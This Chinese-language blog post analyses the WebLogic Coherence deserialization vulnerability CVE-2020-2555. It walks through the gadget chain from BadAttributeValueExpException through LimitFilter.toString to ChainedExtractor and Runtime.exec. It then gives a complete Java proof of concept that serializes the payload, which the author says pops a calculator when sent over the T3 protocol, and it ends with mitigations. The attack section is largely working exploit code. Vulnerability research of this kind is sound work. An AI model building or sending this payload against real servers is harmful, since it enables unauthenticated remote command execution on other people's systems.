Weblogic Coherence元件漏洞初探CVE-2020-2555

洋洋的小黑屋發表於2021-09-15

Weblogic Coherence元件漏洞初探CVE-2020-2555

2020年1月,網際網路上爆出了weblogic反序列化遠端命令執行漏洞(CVE-2020-2555),Oracle Fusion中介軟體Oracle Coherence存在缺陷,攻擊者可利用該漏洞再未授權情況下通過構造T3協議請求,獲取weblogic伺服器許可權,執行任意命令。

漏洞影響情況:

Oracle Coherence 3.7.1.17

Oracle Coherence & Weblogic 12.1.3.0.0

Oracle Coherence & Weblogic 12.2.1.3.0

Oracle Coherence & Weblogic 12.2.1.4.0

通過研究發現 Weblogic 10.3.6.0 版本不受影響範圍內,雖然該版本預設自帶了 Coherence(3.7),通過除錯發現該版本預設並未啟用 Coherence,所以 Weblogic 10.3.6.0 不在受影響範圍內。

漏洞分析

分析環境Weblogic 12.1.3,注意每個Weblogic中的coherence元件可能會有不同,導致poc構造無法通用

開啟weblogic遠端除錯,打包coherence目錄加入到idea中,並開啟遠端JVM除錯

image-20210902135526045

在Coherence元件中,出現了像CC鏈一樣可以組成鏈式呼叫的類

1) 鏈式呼叫

首先介紹幾個關鍵類,這幾個類和CC鏈一樣組成了鏈式呼叫。

ValueExtractor介面

所有實現了此介面的類都有個extract方法,這個方法是整個呼叫鏈的關鍵方法

image-20210902143633617

ReflectionExtractor類

此類實現了ValueExtractor介面,有個extract方法,此方法有呼叫method.invoke

image-20210902143934409

可以用以下demo來構造Runtime.getRuntime()

public class Test {
    public static void main(String[] args) {
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}
        );

        Object extract = reflectionExtractor.extract(Runtime.class);
        System.out.println(extract);
    }
}

image-20210902153118475

ChainedExtractor類

此方法也實現了ValueExtractor介面,也有個extract方法,檢視此方法

image-20210902144436278

此方法和CC鏈的一樣,利用for迴圈遍歷了陣列aExtractor的每一個extract方法,形成了ChainedExtractor呼叫鏈。以下demo可以構造Runtime.getRuntime.exec造成命令執行的效果

public class Test {
    public static void main(String[] args) {
        String cmd = "calc";

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        chainedExtractor.extract(Runtime.class);
    }
}

image-20210902154005849

接下來只要尋找到呼叫了ChainedExtractor#extract方法的類,即可觸發呼叫鏈。

2) 觸發呼叫鏈

LimitFilter#toString

此處漏洞採用了com.tangosol.util.filter.LimitFilter#toString來觸發呼叫鏈,下圖為toString方法,其呼叫了extract方法

image-20210902211137182

這裡涉及兩個值,分別是this.m_comparatorthis.m_oAnchorTop

this.m_comparator轉型成了ValueExtractor型別,並賦值給了extractor,而extractor則呼叫了extract方法

image-20210902211430960

extractor方法中傳入了this.m_oAnchorTop

image-20210902211700645

得出以下條件:

this.m_comparatorchainedExtractor

this.m_oAnchorTopRuntime.class

以上兩個條件滿足即可利用com.tangosol.util.filter.LimitFilter#toString來觸發呼叫鏈

LimitFilter#toString -》 chainedExtractor#extract

接下來就是尋找呼叫了LimitFilter#toString的類,在CC5中有個BadAttributeValueExpException,其readObject中會呼叫到toString

BadAttributeValueExpException

此類在CC5中有出現過,其readObject中會呼叫到toString

image-20210902212436145

此處會呼叫valObjtoString方法,而valObj在72行時候被獲取

image-20210902212557253

3) 構造POC

先附上整個呼叫鏈:

Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                LimitFilter.toString()
                    ChainedExtractor.extract()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Class.getMethod()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.getRuntime()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.exec()

得出POC

package com.yyhuni;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class POC1 {
    public static void main(String[] args) throws Exception {
        String cmd = "calc";
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
//                new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

        LimitFilter limitFilter = new LimitFilter();

        BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);

        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);

        Field val = BadAttribute.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(BadAttribute, limitFilter);

        //writeObject
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(BadAttribute);
        objectOutputStream.close();

        //readObject
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
}

使用T3協議傳送POC即可彈出計算器

image-20210902213252508

修復

  1. 臨時解決方案:禁用 weblogic T3 協議。
  2. 安裝 Oracle 更新補丁,需要登入帳戶後下載。

相關文章